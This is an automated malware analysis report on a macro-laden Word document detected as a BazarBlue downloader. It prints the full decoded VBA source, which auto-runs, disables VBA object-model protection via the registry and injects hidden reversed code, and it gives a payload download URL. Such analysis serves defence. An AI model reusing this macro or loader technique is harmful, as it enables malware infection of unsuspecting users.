Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ed4b4de82c94d97e…

MALICIOUS

Office (OOXML)

47.5 KB Created: 2021-07-01 10:25:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: b826fb8d7abaaf634ab51f2cbaefaf75 SHA-1: 111f7c0068d2581b9ab0c92e46f12dab568a9de1 SHA-256: ed4b4de82c94d97e003c0a1061927ef7524ffba7bdb2c4b75eedd6817a96d12e
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1547.001 Registry Run Keys / Startup Folder

The sample is an OOXML document containing VBA macros. The 'autoopen' subroutine executes a function that uses WScript.Shell to write to the registry key HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM, likely to disable macro security warnings. It also calls a function that downloads a payload from the reconstructed URL "http://10867.EUyNBzXz.mrvzFWgYi5CS9pcwDYbJFgeLDltorJAVwsI7K4wgyza8Pwj1/5IVlat4MI6jMnR3mjxd4a/W6hSuNpILmzzhv4T5/yGxFX8hP2Xbrbbpij/adda/moc.gscihtenosliw//:ptth" and attempts to execute it. The ClamAV detection name 'Doc.Downloader.BazarBlue09212-9898946-0' further supports its downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.BazarBlue09212-9898946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BazarBlue09212-9898946-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Sub varMain()
CreateObject("wscript.shell").RegWrite memoryMainButton, 1, "REG_DWORD"
End Sub
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub varMain()
CreateObject("wscript.shell").RegWrite memoryMainButton, 1, "REG_DWORD"
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub varMain()
CreateObject("wscript.shell").RegWrite memoryMainButton, 1, "REG_DWORD"
End Sub
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Sub queryIterator(copyTableIterator)
Set ptrIterator = GetObject("", "word.application")
With ptrIterator.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
varMain
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1498 bytes
SHA-256: 10a90de0a93cc0babf5aff6560f46388f02b94ed83dd7bd378ba699905c90f64
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "procedureRightDelete"
Function windowSwap()
windowSwap = ActiveDocument.Range.Text
End Function
Sub varMain()
CreateObject("wscript.shell").RegWrite memoryMainButton, 1, "REG_DWORD"
End Sub
Function procMainPtr()
procMainPtr = textIterator(windowSwap, 8 / 4, 1500000)
End Function
Function textIterator(textProcLib, viewBorderTitle, windowConst)
textIterator = Mid(textProcLib, viewBorderTitle, windowConst)
End Function

Attribute VB_Name = "counterCopyPaste"
Function copyButton(clearTempFunc)
length = Len(clearTempFunc)
For i = 0 To length - 1
reversedText = reversedText & Mid(clearTempFunc, (length - i), 1)
Next
copyButton = reversedText
End Function
Sub autoopen()
varMain
queryIterator copyButton(procMainPtr)
End Sub
Sub queryIterator(copyTableIterator)
Set ptrIterator = GetObject("", "word.application")
With ptrIterator.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString copyTableIterator
End With
ptrIterator.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function memoryMainButton()
memoryMainButton = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security\AccessVBOM"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: 8a5b32b346f90a5807901ac21c04ea1e551db6caf91d5db7ba0b2670e09e0495

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